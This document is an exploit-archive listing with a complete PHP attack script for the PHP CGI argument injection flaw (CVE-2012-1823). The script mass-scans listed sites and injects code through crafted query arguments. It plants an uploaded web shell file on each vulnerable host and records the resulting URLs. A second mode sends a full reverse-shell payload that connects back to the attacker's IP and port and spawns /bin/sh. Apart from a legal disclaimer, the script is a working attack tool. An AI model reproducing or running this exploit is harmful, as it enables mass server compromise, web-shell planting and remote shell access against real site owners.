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Mostafa AziziPACKETSTORM:112971
HistoryMay 22, 2012 - 12:00 a.m.
PHP CGI Argument Injection

2012-05-2200:00:00
Mostafa Azizi
packetstormsecurity.com
161
0.975 High
EPSS
Percentile
100.0%
JSON
`<?php  
  
######################################### www.bugreport.ir   
########################################  
#  
# Title: PHP CGI Argument Injection Remote Exploit   
V0.3 - PHP Version  
# Vendor: http://www.php.net  
# Vulnerable Version: PHP up to version 5.3.12 and 5.4.2  
# Exploitation: Remote  
# Original Advisory:   
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/  
# Original Exploit URL: http://www.bugreport.ir/79/exploit.htm  
# CVE: CVE-2012-1823  
# Coded By: Mostafa Azizi (admin[@]0-Day[dot]net)  
###################################################################################################  
  
/* This tool may be used for legal purposes only. Users take full   
responsibility for any actions performed using this tool.  
The author accepts no liability for damage caused by this tool. If   
these terms are not acceptable to you, then do not use this tool.*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 10);  
ob_implicit_flush (1);  
  
echo'<html>  
<head>  
<title>PHP CGI Argument Injection Remote Exploit</title>  
</head>  
<p align="center"><font size="4" color="#5E767E">PHP CGI Argument   
Injection</font></p>  
<p align="center"><font size="3" color="#4E8975">Coded by: Mostafa   
Azizi (admin[@]0-Day[dot]net)</font></p>  
<body bgcolor="#00000">  
<table align="center" border="5">  
<tr>  
<th><p align="center"><font size="4" color="#8BB381">Mass File   
Uploader</font></p>  
</th>  
<th></th>  
<th><p align="center"><font size="4" color="#8BB381">Reverse   
Shell</font></p>  
</th>  
</tr>  
<tr>  
<td><form name="form1" action="'.$SERVER[PHP_SELF].'"   
enctype="multipart/form-data" method="post">  
</br>  
<p></font><font color="#FFF8C6" >Please specify a file to   
scan: </font></br><input type="file" name="listfile"   
size="40"><font color="#FF0000"> * </font>  
<p></font><font color="#FFF8C6" >Please specify a file to   
upload: </font></br><input type="file" name="datafile"   
size="40"><font color="#FF0000"> * </font>  
<p><font color="#FFF8C6" > specify a port (default is 80):   
</font></br><input name="port" size="20"><span   
class="Stile5"></span></p>  
<p><font color="#FFF8C6" > Proxy (ip:port):   
</font></br><input name="proxy" size="20"><span   
class="Stile5"></span></p>  
<p align="center"> <span class="Stile5"><font   
color="#FF0000">* </font><font color="white" >fields are   
required</font></font></span></p>  
</br>  
<p align="center"><input type="submit" value="Start Attack"   
name="Submit"></p>  
</form> </td>  
<td></td>  
<td><form name="form1" action="'.$SERVER[PHP_SELF].'"   
enctype="multipart/form-data" method="post">  
</br>  
<p></font><font color="#FFF8C6" > hostname (ex:   
www.sitename.com):</font></br><input name="host" size="20"> <span   
class="Stile5"></span></p>  
<p></font><font color="#FFF8C6" > Your IP (ex:   
173.194.35.169 ): </font></br><input name="lip" size="20">   
<span class="Stile5"></span></p>  
<p><font color="#FFF8C6" > Your Port (ex:   
80):</font></br><input name="lport" size="20"> <span   
class="Stile5"></span></p>  
</br></br>  
<p align="center"> <span class="Stile5"><font   
color="#FF0000">All </font><font color="white" >fields are   
required</font></font></span></p>  
</br>  
<p align="center"><input type="submit" value="Start Attack"   
name="Submit2"></p>  
</form> </td>  
</tr>  
</table>  
</font>  
<table width="90%">  
<tbody>  
<tr>  
<td width="43%" align="left">  
  
</td>  
</tr>  
</tbody>  
</table>  
</body></html>';  
  
$host = $_POST['host'];  
$lip = $_POST['lip'];  
$lport = $_POST['lport'];  
$port = $_POST['port'];  
$proxy = $_POST['proxy'];  
$list = file($_FILES['listfile']['tmp_name']);  
$file =   
base64_encode(gzdeflate(file_get_contents($_FILES['datafile']['tmp_name'])));  
$shell = "gzinflate(base64_decode(\"$file\"))";  
  
if (isset($_POST['Submit2']) && $host != '' && $lip != '' && $lport != '')  
{  
/*pentestmonkey's php-reverse-shell.  
Limitations: proc_open and stream_set_blocking require PHP version   
4.3+, or 5+ */  
  
/* Connect Back */  
  
$payload = "<?php set_time_limit (0); \$VERSION = \"1.0\"; \$ip =   
'$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;   
\$error_a = null; \$shell = 'uname -a; w; id; /bin/sh -i'; \$daemon =   
0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =   
pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");   
exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {   
printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {   
printit(\"WARNING: Failed to daemonise. This is quite common and not   
fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,   
\$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");   
exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 =>   
array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process =   
proc_open(\$shell, \$descriptorspec, \$pipes);if   
(!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");   
exit(1);}stream_set_blocking(\$pipes[0],   
0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],   
0);stream_set_blocking(\$sock, 0);printit(\"Successfully opened   
reverse shell to \$ip:\$port\"); while (1) { if (feof(\$sock)) {   
printit(\"ERROR: Shell connection terminated\"); break;} if   
(feof(\$pipes[1])) {printit(\"ERROR: Shell process   
terminated\");break;}\$read_a = array(\$sock, \$pipes[1],   
\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,   
\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)   
printit(\"SOCK READ\");\$input = fread(\$sock,   
\$chunk_size);if(\$debug) printit(\"SOCK:   
\$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],   
\$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =   
fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:   
\$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],   
\$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =   
fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR:   
\$input\");fwrite(\$sock,   
\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print \"\$string\n\";}}   
?>";  
$packet = "POST   
".$p."/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input   
HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: PHP CGI Argument Injection Exploiter\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n\r\n";  
$packet .= $payload."\r\n\r\n\r\n\r\n";  
sendpacket($packet,1,0,0);  
  
}elseif (isset($_POST['Submit']) && $list != '' && $file != '')  
{  
if ($port=='') {$port=80;}  
  
for ($n =0; $n < count($list); $n++)  
{  
  
$siteAddbackup = $list[$n];  
$siteAdd=str_replace("http://","",$siteAddbackup);  
  
preg_match('/^(?:(?:http|https):\/\/)?[^\/]+(\/.+\/)[^\/\.]+\.[^\/\.]+$/i',$siteAddbackup,   
$match);  
$path = $match[1];  
$pa = strstr(trim($siteAdd),$path);  
$host=trim(str_replace($pa,"",$siteAdd));  
if ($path ==''){$path = "/"; }  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.$path;}  
  
/* Checking   
Availability */  
  
$connection = fsockopen($host,$port);  
if (!$connection)  
// site is down  
{  
echo '<font color=red> No response from   
'.htmlentities($host).' ...<br></font>';  
  
file_put_contents(realpath(dirname(__FILE__)).'/notconnected.txt',   
$siteAddbackup."\r\n", FILE_APPEND);  
}  
else  
// site is up  
{  
fclose($connection);  
Exploitable($host,$path,$p);  
}  
  
}  
}  
  
Function Exploitable($host,$path,$p)  
{  
global $html;  
$i=0;  
/* Checking Exploitability */  
$packet = "GET ".$p."?-s HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: PHP CGI Argument Injection Exploiter \r\n\r\n";  
sendpacket($packet,1,0,0);  
$str = array(  
'<code><span','<?');  
foreach ($str as $value => $search){  
if(stristr($html, $search) == TRUE)  
{$i=$i+1;}}  
switch($i)  
{  
case 0:  
echo '<font color=red>'.$host.' Faild!<br></font>';  
break;  
case 2:  
echo '<font color=#FFF8C6>'.$host.' Exploitable<br></font>';  
Exploit($host,$path,$p);  
}  
}  
  
Function Exploit($host,$path,$p)  
{  
global $html, $shell;  
/* Exploiting */  
  
$payload = "<?php \$myFile = \"legalpentest.php\"; \$filehandle =   
fopen(\$myFile, 'w') or die(\"can't open file\"); \$Data=$shell;   
fwrite(\$filehandle, \$Data);fclose(\$filehandle);";  
$packet = "POST   
".$p."/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input   
HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: PHP CGI Argument Injection Exploiter\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n\r\n";  
$packet .= $payload."\r\n\r\n\r\n\r\n";  
sendpacket($packet,1,0,0);  
/* Check for successfully   
uploaded */  
$packet = "HEAD ".$p."/legalpentest.php HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "User-Agent: :) \r\n\r\n";  
sendpacket($packet,1,0,0);  
  
if(stristr($html , '404 Not Found') == true)  
{  
echo '<font color=#FFF8C6><br>Exploit   
Faild...<br>-------------------------------------------------------<br></font>';  
}  
else {  
echo "<font color=#FFF8C6><br>Exploit   
Succeeded...<br>http://$host$path"."/legalpentest.php<br>-------------------------------------------------------<br></font>";  
file_put_contents(realpath(dirname(__FILE__)).'/shell.txt',   
"http://$host$path"."/legalpentest.php\r\n", FILE_APPEND);  
}  
}  
  
  
function sendpacket($packet,$response = 0,$output = 0,$s=0)  
{  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
global $proxy, $host, $port, $html, $user, $pass;  
if ($proxy == '')  
{  
$ock = fsockopen($host,$port);  
stream_set_timeout($ock, 5);  
if (!$ock)  
{  
echo 'No response from '.htmlentities($host).' ...<br>';  
stream_set_timeout($ock, 4);  
}  
} else  
{  
$parts = explode(':',$proxy);  
// echo '<font color=white>Connecting to proxy:   
'.$parts[0].':'.$parts[1].' ...<br><br/></font>';  
$ock = fsockopen($parts[0],$parts[1]);  
stream_set_timeout($ock, 5);  
if (!$ock)  
{  
echo 'No response from proxy...<br>';  
fclose($ock);  
}  
}  
  
if ($ock)  
{  
fputs($ock,$packet);  
if ($response == 1)  
{  
if ($proxy == '')  
{  
$html = '';  
while (!feof($ock))  
{  
$html .= fgets($ock);  
}  
} else  
{  
$html = '';  
while ((!feof($ock)) or   
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html .= fread($ock,1);  
}  
}  
} else $html = '';  
  
fclose($ock);  
}  
}  
?>  
`
0.975 High
EPSS
Percentile
100.0%
JSON
PHP CGI Argument Injection

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